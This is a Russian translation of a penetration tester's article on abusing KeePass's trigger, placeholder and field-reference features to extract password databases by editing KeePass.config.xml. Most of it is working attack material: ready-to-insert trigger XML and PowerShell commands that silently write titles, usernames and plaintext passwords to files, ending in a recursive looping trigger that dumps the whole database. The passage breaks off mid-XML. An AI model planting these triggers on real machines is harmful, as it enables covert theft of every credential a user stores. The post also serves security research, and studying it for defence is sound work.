Триггеры KeePass мертвы, да здравствуют триггеры KeePass!
22 июня 2023
(перевод)
7 лет назад Уилл Шредер (@harmj0y) показал, как злоумышленники могут использовать систему триггеров KeePass для извлечения паролей в открытом виде. Поскольку для этого требовалось всего лишь добавить некоторые параметры в файл конфигурации, этот метод был простым и тихим. В итоге, я злоупотреблял триггерами каждый раз, когда сталкивался с KeePass при тестировании на проникновение, почти всегда собирая всю закрытую информацию ИТ-персонала.
Поскольку для доступа на запись к такому файлу обычно требуются права администратора на целевой машине (однако в режиме portable установки и это не нужно – прим. переводчика), этот метод был рассмотрен разработчиками KeePass (и, вероятно, подавляющим большинством сообщества infosec) вне модели программных угроз. Однако тема, опубликованная на форуме KeePass в начале 2023 года, указала на проблему и подняла много шума. В конечном итоге этой уязвимости был присвоен номер CVE-2023-24055, быстро привлекая внимание общественности многочисленными сообщениями, утверждающими, что менеджер паролей небезопасен.
Предупреждение
Автор и переводчик не принуждает к противоправным действиям. Информация в данной статье имеет ознакомительный характер, приведена только в целях образования и защиты от подобных атак. Вы осознаёте, что все действия выполняете на свой страх и риск и только на своём компьютере. Совершение действий, направленных против других пользователей, может преследоваться по закону.
После этого спора разработчики KeePass в конечном итоге в версии 2.53.1 решили ввести дополнительную проверку, которая теперь запрашивает мастер-ключ перед экспортом базы данных. В то время как существуют другие методы эксплуатации уязвимостей, такие как внедрение DLL (и всегда будут, поскольку исправление невозможно ни для KeePass, ни для любого другого менеджера паролей), которые по-прежнему позволяют злоумышленникам извлекать секреты, я хотел бы глубже изучить систему триггеров, чтобы посмотреть, смогу ли я найти другой способ получения паролей оттуда.
В этой статье демонстрируется, как комбинацию триггеров KeePass, заполнителей и ссылок на поля можно использовать для экспорта баз данных простым редактированием файла конфигурации.
Напоминания о злоупотреблении “старым” триггером
Статья Уилла Шредера очень хорошо объясняет, как можно было злоупотреблять триггерами KeePass в версиях до 2.53.1. Поскольку его методика описывает различные функции, которыми мы собираемся пользоваться позже в этой статье, мы кратко приведём их здесь.
Как описано в документации: «KeePass оснащен мощной системой триггеров событие-условие-действие. С помощью этой системы могут быть автоматизированы рабочие процессы. Например, вы можете определить триггер, который будет автоматически делать резервную копию вашей базы данных на сервер после локального сохранения файла.»
Пример типичного триггера:
- Событие: сохранение своей базы данных;
- Условие: если переменной BACKUP присвоено значение TRUE;
- Действие: создать резервную копию базы данных в облаке.
Для злоумышленников особенно важно то, что триггеры настраиваются вне зашифрованной базы данных, в файле конфигурации KeePass.config.xml. В зависимости от того, как установлен KeePass (и настроена ОС с файловой системой – прим. переводчика), злоумышленнику требуется больше или меньше прав для доступа к файлу. Обратите внимание, что менеджеры паролей часто становятся вторичной мишенью после выполнения основного проникновения, что означает, что у нас часто будут доступны права администратора на целевой машине. Более подробные сведения о расположении файла конфигурации KeePass можно посмотреть в справке в разделе «Конфигурация«.
Список доступных событий, условий и действий, перечислены на странице документации триггеров. Также можно посмотреть примеры триггеров.
Список доступных действий:
Как следует из названия, пункт «Экспорт текущей базы данных» экспортирует базу данных в любое доступное место. Для экспорта доступны несколько форматов, некоторые из которых (KeePass CSV (1.x) и KeePass XML (2.x)) являются незашифрованными.
Действуя как злоумышленник, мы можем легко создать вредоносный триггер с помощью графического интерфейса, а затем получить интересующий нас XML-код из файла конфигурации. Вот пример, который экспортирует содержимое всех полей в CSV-формат открытым текстом сразу после разблокировки базы данных:
<Trigger> <Guid>JuPkdhoKfEGAbGTr10Cmbw==</Guid> <Name>export</Name> <TurnOffAfterAction>true</TurnOffAfterAction> <Events> <Event> <TypeGuid>5f8TBoW4QYm5BvaeKztApw==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid> <Parameters> <Parameter>%appdata%\export.csv</Parameter> <Parameter>KeePass CSV (1.x)</Parameter> <Parameter /> <Parameter /> </Parameters> </Action> </Actions> </Trigger>
XML готов к вставке в файл конфигурации KeePass.config.xml (<Configuration><Application><TriggerSystem><Triggers>) целевой машины. Этот триггер будет автоматически загружен при старте KeePass. При следующей разблокировке базы данных будет выполнен её экспорт в файл %appdata%\export.csv .
Ранее этот процесс выполнялся в фоновом режиме скрыто от пользователя, пока в версию 2.53.1 не было внесено изменение, которое запрашивает мастер-ключ при выполнении операции экспорта:
Хотя это окно не так очевидно, появление этого окна дважды (один раз при разблокировке базы, второй – при экспорте) должно насторожить пользователя.
CVE-2023-24055 по-прежнему обозначен как оспариваемый. Хотя данная статья не ставит перед собой цель определить, является ли это действительно уязвимостью или нет, я настоятельно рекомендую прочитать всю ветку форума. Там довольно хорошо отражена точка зрения каждого из участников и даже присутствует дополнительная соль. На мой взгляд, добавление исправлений понятно, но также привносит риск пересмотра пользователями модели угроз при каждом действии от имени администратора (DLL инъекция, злоупотребление системой плагинов, замена исполняемого файла KeePass и т.д.), что конечно нуждается в дополнительных исправлениях, но они бесконечны.
CVE-2023-24055 по-прежнему обозначен как оспариваемый. Хотя данная статья не ставит перед собой цель определить, является ли это действительно уязвимостью или нет, я настоятельно рекомендую прочитать всю ветку форума. Там довольно хорошо отражена точка зрения каждого из участников и даже присутствует дополнительная соль. На мой взгляд, добавление исправлений понятно, но также привносит риск пересмотра пользователями модели угроз при каждом действии от имени администратора (DLL инъекция, злоупотребление системой плагинов, замена исполняемого файла KeePass и т.д.), что конечно нуждается в дополнительных исправлениях, но они бесконечны.
Утечка паролей через систему заполнителей
Подстановки KeePass
При чтении документации KeePass по триггерам я наткнулся на предложение, которое привлекло моё внимание: «Большинство строк в системе триггеров являются Spr-компилируемыми, т.е. могут использоваться заполнители, переменные и т.д.».
Многие слова нам незнакомы, поэтому заглянем в документацию: «KeePass использует аббревиатуру Spr как «замена заполнителя строки» (string placeholder replacement – англ.). Spr-компилируемое поле – это поле, содержимое которого изменяется при выполнении действия с этим полем».
Другими словами, заполнители – это специальные строки в фигурных скобках, которые компилируются KeePass на лету. Например, вы можете динамически использовать имя пользователя в записях с помощью заполнителя {USERNAME}:
На изображении часть URL автоматически изменяется с помощью замены имени пользователя и заголовка.
Вышеприведённый пример очевидно не дал бы в реальной жизни большой пользы, но вы получили представление о поведении при компиляции. Как я прочитал в Интернете, заполнители часто используются для автоматического ввода в браузерах. Они предоставляют широкие возможности при написании скриптов, так как поддерживают практически все поля ввода:
И как вы тоже можете видеть, поле пароля тоже можно использовать для экспорта в заполнителе! Обратите внимание, что доступны также и многие другие вещи, включая взаимодействие с операционной системой для получения переменных среды окружения, получение содержимого или копирование в буфер обмена, и даже выполнение командной строки.
Мы уже можем создать триггер, который использует заполнители для экспорта паролей из базы данных. Он может, например, использовать событие «Данные скопированы в буфер обмена» и выполнить действие «Выполнить команду / URL», которое бы записывало {TITLE}:{USERNAME}:{PASSWORD}:{URL} в текстовый файл при каждом копировании записи пользователем в буфер обмена.
Скрипт PowerShell был бы простым:
Add-Content $env:APPDATA'\clipboard_export.txt' '{TITLE}:{USERNAME}:{PASSWORD}:{URL}'
В результате готовый триггер будет выглядеть так:
<Trigger> <Guid>LUhj5EaVp0iip+LdLbNYwQ==</Guid> <Name>Clipboard Export</Name> <Events> <Event> <TypeGuid>P35exipUTFiVRIX78m9W3A==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> <Parameters> <Parameter>PowerShell.exe</Parameter> <Parameter>-C "Add-Content $env:APPDATA'\clipboard_export.txt' '{TITLE}:{USERNAME}:{PASSWORD}:{URL}';"</Parameter> <Parameter>False</Parameter> <Parameter>1</Parameter> <Parameter /> </Parameters> </Action> </Actions> </Trigger>
Для проверки, скопируйте любую запись в буфер обмена, а затем откройте файл %appdata%\clipboard_export.txt
Мы можем сливать некоторые пароли, это круто, но очень ограниченно:
- Зависимость от взаимодействия с пользователем
- Было бы намного лучше, если бы мы могли получить каждую запись в базе.
Понимание того, как работают простые триггеры, является хорошей точкой перед переходом к триггерам, взрывающим мозг. По мере изучения не стесняйтесь пробовать примеры в своём KeePass.
Ссылки на поля KeePass
С точки зрения атакующего, главная проблема заполнителей заключается в том, что они привязаны к текущей выбранной записи, ограничивая атаку тем местом, где находится указатель мыши в интерфейсе программы. Посмотрим документацию, чтобы определить, сможем ли мы ещё как-то использовать заполнители.
После большой кучи прочитанного я нашёл то, что было необходимо: «Поля других записей могут быть вставлены с использованием ссылок на поля». Функция предназначена для случаев когда «множество записей используют общее поле и изменение данных в одной записи затронет все остальные».
Поскольку разработчики KeePass провели хорошую работу над документацией, то я просто покажу её:
Ссылки на поля вероятно являются наиболее важным элементом, который мы собираемся использовать, поэтому давайте изучим их на следующем примере:
Указав “U” как <WantedField>, “T” как <Searchin> и “SERVER1” как <Text>, мы определяем ссылку на поле, которая извлекает имя пользователя записи, заголовок которой содержит “SERVER1”. Поскольку первая запись совпадает, мы замечаем, что заполнитель в конечном итоге заменяется на admin (синяя стрелка).
Если мы можем выяснить или предугадать заголовки записей, то мы можем экспортировать каждую из них. Допустим, мы нацелены на среду виртуализации компании, тогда возможно ИТ-сотрудники используют записи, заголовок которых содержит следующие слова: esxi, vsphere, vmware, vcenter и т.д.
Важно иметь в виду, что нет необходимости в том, чтобы наши ключевые слова полностью соответствовали названию записей, так как используется простой поиск по частичному совпадению. Если заголовок — «Доступ администратора vSphere«, то {REF:<WantedField>@T:vsphere} достаточно, чтобы получить совпадение.
Следуя этому принципу мы можем создать PowerShell-триггер, который попытается разрешить следующие ссылки и заодно записать их в файл, получая пароли.
{REF:U@T:vmware}:{REF:P@T:vmware}:{REF:A@T:vmware}
{REF:U@T:vsphere}:{REF:P@T:vsphere}:{REF:A@T:vsphere}
{REF:U@T:vcenter}:{REF:P@T:vcenter}:{REF:A@T:vcenter}
{REF:U@T:esxi}:{REF:P@T:esx}:{REF:A@T:esxi}
Результирующий триггер будет выглядеть так:
<Trigger> <Guid>cwlVj6cXjUaDVnvryDJkFw==</Guid> <Name>Reference Export</Name> <TurnOffAfterAction>true</TurnOffAfterAction> <Events> <Event> <TypeGuid>5f8TBoW4QYm5BvaeKztApw==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> <Parameters> <Parameter>PowerShell.exe</Parameter> <Parameter>-C "Add-Content $env:APPDATA'\reference_export.txt' \"{REF:T@T:vmware}:{REF:U@T:vmware}:{REF:P@T:vmware}`n{REF:T@T:vsphere}:{REF:U@T:vsphere}:{REF:P@T:vsphere}`n{REF:T@T:vcenter}:{REF:U@T:vcenter}:{REF:P@T:vcenter}`n{REF:T@T:esxi}:{REF:U@T:esxi}:{REF:P@T:esxi}\";"</Parameter> <Parameter>False</Parameter> <Parameter>1</Parameter> <Parameter /> </Parameters> </Action> </Actions> </Trigger>
Поскольку наш пример базы данных содержал запись с именем «vCenter», третья строка файла будет содержать данные, в т.ч. пароль:
Как видно на скриншоте, если строке <Searchin> не соответствует ни одна из записей, то заполнитель не заменяется (при этом ошибки не возникает).
При совпадении нескольких записей будет использовано только первое совпадение. В результате некоторые потенциально интересные записи могут быть «скрыты».
Данный метод уже может привести к утечке части базы данных с помощью файла конфигурации, но он немного опасен: мы обошли необходимость взаимодействия с пользователем, но по-прежнему не хватает эффективности. Давайте снова обратимся к документации и посмотрим, можем ли мы найти способ однозначно предсказывать каждую записи в базе данных.
Время рекурсии UUID!
Сопоставление каждой записи базы данных
Кроме очевидных полей, таких как заголовок, имя пользователя, пароль и URL, есть одно «скрытое», которое особенно важно. Поле UUID, как следует из названия, это случайно сгенерированный 128-битный идентификатор, который делает каждую запись уникальной и на который можно ссылаться. В удобочитаемом формате UUID представляет из себя 32-символьную последовательность, которая составлена из произвольных символов от «A» до «F» и от «0» до «9». Например, 46C9B1FFBD4ABC4BBB260C6190BAD20C.
Минимальные требования к строке <Searchin> для получения результата – это совпадение одного символа. При условии, что UUID предсказать невозможно, один из его символов угадать несложно. Пусть, например, это будет «0». Существует высокая вероятность, что мы найдём этот символ хотя бы в одном UUID, среди всех записей в базе. Другими словами, {REF:I@I:0} вероятно разрешит поле.
Вычислить фактическую вероятность довольно просто используя метод дополнений. Для получения значения мы сначала посчитаем вероятность того, что символ «0» не будет найден (или любой другой символ, так как результат будет тот же) в любой из 32 позиций, а затем вычтем полученный результат из единицы.
Так как помимо нуля может встретиться ещё один из 15 других символов (A-F, 1-9), то вероятность ненахождения нуля равна 15/16. Применительно к 32 символам всего UUID, вероятность уже будет (15/16)32.
В результате, вероятность нахождения определённого символа хотя бы один раз в последовательности 32 символов равна 1-(15/16)32 = 87%
Если мы последовательно сопоставим «0», «1» или «2», то вероятность возрастает до 99.89%. Это означает, что комбинация {REF:I@I:0} {REF:I@I:1} {REF:I@I:2} будет почти всегда разрешать записи в базе данных. Однако, как было выяснено ранее, только первая найденная запись заменяется в заполнителе и сохраняется.
Рекурсивные ссылки на поля
Давайте попробуем обойти проблему совпадения только первой записи.
Согласно документации KeePass, мы можем использовать символ «минус» для исключения элементов из результата поиска:
Используя знак минуса при построении рекурсивного заполнителя {REF:I@I:0 -{REF:I@I:0}} , мы можем исключить первый результат и успешно получить доступ ко второй совпадающей записи.
Давайте потратим секунду, чтобы понять это, и предположим, что первая совпадающая запись имеет UUID 46C9B1FF.., а вторая — DCC8CF1F.. :
# Разрешение UUID записи #1
{REF:I@I:0} = 46C9B1FF..
# Разрешение UUID записи #2
{REF:I@I:0 -{REF:I@I:0}} = {REF:I@I:0 -46C9B1FF..} = DCC8CF1F1..
Это работает только потому, что:
- Порядок разрешения постоянный от поиска к поиску ({REF:I@I:0} будет соответствовать одной и той же записи).
- Рекурсивный заполнитель обычно компилирует «более глубокие» элементы первыми.
Мы можем создать Spr-компилируемый триггер и записать следующие заполнители в файл:
{REF:U@I:0} {REF:P@I:0} {REF:A@I:0}
{REF:U@I:0 -{REF:I@I 0}} {REF:P@I:0 -{REF:I@I 0}} {REF:A@I:0 -{REF:I@I:0}}
... ... ...
Следующим шагом добавляем ещё один уровень рекурсии {REF:U@I:0 -{REF:U@I:0 -{REF:I@I:0}}} и т.д. Я набросал скрипт на Python для генерации рекурсивного наполнения.
Для увеличения вероятности совпадений в базе данных, мы можем добавить поиск ещё одного символа:
{REF:U@I:0} {REF:P@I:0} {REF:A@I:0}
{REF:U@I:1} {REF:P@I:1} {REF:A@I:1}
{REF:U@I:0 -{REF:I@I:0}} {REF:P@I:0 -{REF:I@I:0}} {REF:A@I:0 -{REF:I@I:0}}
{REF:U@I:1 -{REF:I@I:1}} {REF:P@I:1 -{REF:I@I:1}} {REF:A@I:1 -{REF:I@I:1}}
... ... ...
Давайте проверим полученный триггер на нашей тестовой базе данных:
<Trigger> <Guid>cwlVj6cXjUaDVnvryDJkFw==</Guid> <Name>Recursive Export</Name> <TurnOffAfterAction>true</TurnOffAfterAction> <Events> <Event> <TypeGuid>5f8TBoW4QYm5BvaeKztApw==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> <Parameters> <Parameter>PowerShell.exe</Parameter> <Parameter>-C "Add-Content $env:APPDATA'\recursive_export.txt' \"{REF:I@I:0}:{REF:T@I:0}:{REF:U@I:0}:{REF:P@I:0}`n{REF:I@I:0 -{REF:I@I:0}}:{REF:T@I:0 -{REF:I@I:0}}:{REF:U@I:0 -{REF:I@I:0}}:{REF:P@I:0 -{REF:I@I:0}}`n{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}:{REF:T@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}:{REF:U@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}:{REF:P@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}`n{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}:{REF:T@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}:{REF:U@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}:{REF:P@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}`n{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}}:{REF:T@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}}:{REF:U@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}}:{REF:P@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}} -{REF:I@I:0 -{REF:I@I:0} -{REF:I@I:0 -{REF:I@I:0}}}}}\";"</Parameter> <Parameter>False</Parameter> <Parameter>1</Parameter> <Parameter /> </Parameters> </Action> </Actions> </Trigger>
Каждая запись успешно сопоставляется и извлекается с помощью рекурсивных ссылок на поля.
Великолепно! Теперь мы можем рекурсивно извлекать каждую запись базы данных, но… KeePass имеет ограничение на глубину разрешения заполнителя для исключения бесконечных циклов (это бы произошло при установке имени пользователя в {USERNAME}).
Исходный код KeePass/Util/Spr/SprEngine реализующий максимальную глубину рекурсии.
Как результат, мы не можем пройти более 12 уровней рекурсии, а значит и получить более 12 записей.
Используете KeePass как язык программирования?
Мы не можем использовать ссылки на вложенные поля, но мы можем представить исполняемый триггер, который бы успешно разрешал UUID’ы, используя только один заполнитель, например:
$excluded_uuids = '' while(...) { $new_uid = '{REF:I@I:0 $excluded_uuids}' $excluded_uuids += ' -'$new_uid }
Если вы «выполните» этот код на бумаге, то получите, что:
# Первая итерация
$excluded_uuids == ''
$new_uid == {REF:I@I:0} == 46C9B1FF..
# Вторая итерация
$excluded_uuids == '-46C9B1FF..'
$new_uid == {REF:I@I:0 -46C9B1FF..} == DCC8CF1F1..
# Третья итерация..
Однако это решение вызывает серьезную озабоченность. Как описано в документации: «Файл/URL и аргументы анализируются механизмом Spr перед отправкой в оболочку». Поскольку заполнители всегда разрешаются первыми в данном процессе, мы не можем включать переменные PowerShell внутрь {REF:I@I:0 $exluded_uids}. Фактически, заполнители могут рассматриваться как постоянные значения при использовании в аргументах командной строки, предотвращая их использование в циклах или условиях.
Переменные
Элементом, который может быть разрешён перед заполнителем на самом деле является другой заполнитель. К счастью для нас, {CMD} создан для выполнения команд, которые помогут заменить {REF:I@I:0 $exluded_uids} на {REF:I@I:0 {CMD …}}.
Для выполнения команды в скрытом окне, {CMD} использует следующий синтаксис:
{CMD:/PowerShell.exe -C "\<commands\>"/M=C,W:0,O:1,WS=H/}
Так как подробное объяснение заполнителя {CMD} выходит за рамки данной статьи, я крайне рекомендую почитать документацию если вы не хотите слепо копировать/вставлять приведённые здесь примеры и/или создавать собственные.
Вместо хранения UUID в переменных мы можем поместить их в текстовый файл (или практически в любое место доступное из командной строки, такое как переменные окружения или буфер обмена), который будет записан и прочитан перед компиляцией заполнителей. Тогда {CMD …} часть заполнителя будет:
- Извлекать предыдущие найденные UUID’ы из текстового файла.
- Создавать строку исключения UUID.
- Вставлять строку в заполнитель {REF:I@I:0 <list of UUIDsto exclude>} ссылки на поле.
- Добавлять новые найденные UUID’ы в текстовый файл.
- Повторять все предыдущие шаги до тех пор, пока не останется ни одного необнаруженного UUID.
Циклы
Поскольку заполнители постоянны в контексте PowerShell, мы не можем выполнить цикл подобный этому и ожидать, что значение заполнителя будет отличаться на каждой итерации:
$excluded_uuids = '' while(...) { $new_uid = '{REF:I@I:0 {CMD ...}}' $excluded_uuids += ' -'$new_uid }
Поскольку наш заполнитель является частью триггера, мы, однако, можем его использовать в событии KeePass «Время — Периодически» и успешно разрешать заполнитель в очередной итерации цикла.
Чтобы остановить цикл, мы можем просто сделать так, чтобы заполнитель {CMD} вернул строку «stop», чтобы сообщить KeePass что всё готово. Триггер будет выполнен, когда команда вернёт False:
Как только условие остановки будет выполнено – триггер выполнится. Поскольку действия, которые уже выполнены в условии через {CMD}, нам больше не нужны, мы можем немедленно остановить триггер. Чтобы триггер был отключен сразу после его выполнения, мы можем просто установить флажок «Отключать триггер после выполнения действия (т.е. запускать однократно)» в свойствах триггера или воспользоваться действием «Изменить состояние триггера».
Собираем всё это вместе
Переменные и циклы в KeePass могут показаться непонятными. Но теперь, когда теоретически мы всё обсудили, мы, наконец, можем перейти к практической части, где происходит все волшебство!
Давайте создадим триггер, который последовательно записывает каждую строку файла extract.csv следующей информацией:
UUID,TITLE,USERNAME,PASSWORD,URL
Содержимое будет разделено на две части: одна для последовательного разрешения UUID с помощью поиска исключений по ссылкам на поля, а другая для разрешения соответствующих полей каждого UUID.
Создаём список UUID
Вспомните, что мы использовали метод поиска исключений, поэтому нам нужно создать заполнитель, способный последовательно разрешать каждый новый UUID из списка предыдущих, а затем добавлять его в файл. Первый элемент этого заполнителя будет просто считывать UUID из файла extract.csv и создавать строку исключения ссылки.
$excluded_uuids=''; if (!(Test-Path $env:APPDATA'\extract.csv')) { New-Item -itemType File -Path $env:APPDATA -Name 'extract.csv' | Out-Null; } foreach($line in Get-Content $env:APPDATA'\extract.csv') { $excluded_uuids+=' -'+$line.Split(',')[0]; } Write-Output $excluded_uuids;
Мы помещаем фрагмент в заполнитель (с псевдонимами и переименованиями переменных, чтобы сделать содержимое немного короче):
{CMD:/PowerShell.exe -C "$eus='';if (!(Test-Path $env:APPDATA'\extract.csv')){ni -itemType File -Path $env:APPDATA -Name 'extract.csv' | Out-Null;};foreach($line in gc $env:APPDATA'\extract.csv'){$eus+=' -'+$line.Split(',')[0];}echo $eus;"/M=C,W:0,O:1,WS=H/}
Позже, когда в файл extract.csv будут добавлены последовательно строки, этот заполнитель должен последовательно выводить:
# first execution -48615B89725E4F4987C20B9F2CCF90EC # second execution -48615B89725E4F4987C20B9F2CCF90EC -9A870B21F03856429CBCE5AEFAA42FB7 # third execution -48615B89725E4F4987C20B9F2CCF90EC -9A870B21F03856429CBCE5AEFAA42FB7 -8C18AB6D7C027741B617618992DD9AEA # fourth loop..
Как только строка исключения создана, мы будем использовать её внутри ссылки на поле, чтобы разрешить следующий UUID, прежде чем добавлять его в extract.csv:
$new_uid='{REF:I@I:0{CMD:/PowerShell.exe -C "$eus='';if (!(Test-Path $env:APPDATA'\extract.csv')){ni -itemType File -Path $env:APPDATA -Name 'extract.csv' | Out-Null;};foreach($line in gc $env:APPDATA'\extract.csv'){$eus+=' -'+$line.Split(',')[0];}echo $eus;"/M=C,W:0,O:1,WS=H/}}';
if(!($uid.StartsWith('{REF'))){
Add-Content -Path $env:APPDATA'\extract.csv' -Value $new_uid -NoNewline;
}
Значение $new_uid будет:
# first execution
{REF:I@I:0 -48615B89725E4F4987C20B9F2CCF90EC} == 9A870B21F03856429CBCE5AEFAA42FB7
# second execution
{REF:I@I:0 -48615B89725E4F4987C20B9F2CCF90EC -9A870B21F03856429CBCE5AEFAA42FB7} == 8C18AB6D7C027741B617618992DD9AEA
# third execution..
Этот код предназначен для выполнения внутри условия триггера, поэтому сначала он должен быть вставлен в заполнитель:
{CMD:&PowerShell.exe -C "$uid='{REF:I@I:0{CMD:/PowerShell.exe -C "$eus='';if (!(Test-Path $env:APPDATA'\extract.csv')){ni -itemType File -Path $env:APPDATA -Name 'extract.csv' | Out-Null;};foreach($line in gc $env:APPDATA'\extract.csv'){$eus+=' -'+$line.Split(',')[0];}echo $eus;"/M=C,W:0,O:1,WS=H/}}';echo $uid;if(!($uid.StartsWith('{REF'))){ac -Path $env:APPDATA'\extract.csv' -Value $uid -NoNewline;}"&M=C,W:0,O:1,WS=H&}
Поскольку мы вставляем заполнитель {CMD} внутрь {CMD}, необходимо определить пользовательский разделитель (в данном случае «&»).
Разрешение каждой записи
Каждый раз, когда разрешен новый UUID, мы используем его для определения каждой записи соответствующего поля.
Поскольку мы не можем хранить UUID в переменной, нам нужно каждый раз получать UUID из файла, используя @(Get-Content -Path $env:APPDATA'\extract.csv')[-1]. Мы вставляем эту команду в заполнитель {CMD}, а его самого — в {REF}. Теперь у нас есть точное совпадение по UUID, так что нет необходимости использовать поиск по исключению:
# resolve entries
$title='{REF:T@I:{CMD:/PowerShell.exe -C "echo (Get-Content -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';
$user='{REF:U@I:{CMD:/PowerShell.exe -C "echo (Get-Content -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';
$password='{REF:P@I:{CMD:/PowerShell.exe -C "echo (Get-Content -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';
$url='{REF:A@I:{CMD:/PowerShell.exe -C "echo (Get-Content -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';
$output=','+$title+','+$user+','+$password+','+$url;
# write to file or tell KeePass to stop the loop
if(!($title.StartsWith('{REF'))){
Add-Content -Path $env:APPDATA'\extract.csv' -Value $output;
} else {
echo 'stop';
}
Так же, как и раньше, мы вставляем все в заполнитель {CMD}, чтобы это выполнялось внутри условия триггера:
{CMD:&PowerShell.exe -C "$title='{REF:T@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$user='{REF:U@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$password='{REF:P@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$url='{REF:A@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$output=','+$title+','+$user+','+$password+','+$url;echo $output;if(!($title.StartsWith('{REF'))){ac -Path $env:APPDATA'\extract.csv' -Value $output;}else{echo 'stop';}"&M=C,W:0,O:1,WS=H&}
Создание триггера
Теперь, когда наши два заполнителя готовы, мы можем создать триггер для их циклического выполнения.
Как было сказано ранее, мы выбираем “Время — Периодически” в качестве события триггера, чтобы многократно повторять выполнение кода. Вообще, для выполнения кода достаточно 1-2 секунд, но мы выберем значение 4 в параметрах. Это связано с тем, что иногда выполнение триггера вызывает небольшое подвисание графического интерфейса, и мы хотим быть уверенными, что это не помешает действиям пользователя.
Оба заполнителя вставляются в строку условия. Код будет выполняться каждые 4 секунды.
Триггер сработает, когда возврат заполнителей прекращается. Всё уже было выполнено, поэтому нам не нужно никаких действий, и просто установим флажок «Отключать триггер после выполнения действия (т.е. запускать однократно)», чтобы быть уверенными, что больше никаких команд выполняться не будет:
Состояние триггера не сохраняется нигде в файлах конфигурации, поэтому он будет включен снова при следующем запуске KeePass. Чтобы избежать неожиданного выполнения триггера при будущих запусках KeePass, мы можем создать новый триггер, предназначенный для наблюдения, и который отключит основной триггер, если файл extract.txt существует.
Финальное содержимое будет следующим:
<Triggers> <Trigger> <Guid>nKQhMaPWI0StKa5oNXWEaQ==</Guid> <Name>watcher</Name> <TurnOffAfterAction>true</TurnOffAfterAction> <Events> <Event> <TypeGuid>2PMe6cxpSBuJxfzi6ktqlw==</TypeGuid> <Parameters /> </Event> </Events> <Conditions> <Condition> <TypeGuid>y0qeNFaMTJWtZ00coQQZvA==</TypeGuid> <Parameters> <Parameter>%appdata%\extract.txt</Parameter> </Parameters> <Negate>false</Negate> </Condition> </Conditions> <Actions> <Action> <TypeGuid>tkamn96US7mbrjykfswQ6g==</TypeGuid> <Parameters> <Parameter>extract</Parameter> <Parameter>0</Parameter> </Parameters> </Action> </Actions> </Trigger> <Trigger> <Guid>Zomn/ZbbeE6fMGacmozGFw==</Guid> <Name>extract</Name> <TurnOffAfterAction>true</TurnOffAfterAction> <Events> <Event> <TypeGuid>bES7XfGLTA2IzmXm6a0pig==</TypeGuid> <Parameters> <Parameter>4</Parameter> <Parameter>False</Parameter> </Parameters> </Event> </Events> <Conditions> <Condition> <TypeGuid>uQ/4B3M4T+q7LrwL6juYww==</TypeGuid> <Parameters> <Parameter>{CMD:&PowerShell.exe -C "$uid='{REF:I@I:0{CMD:/PowerShell.exe -C "$eus='';if (!(Test-Path $env:APPDATA'\extract.csv')){ni -itemType File -Path 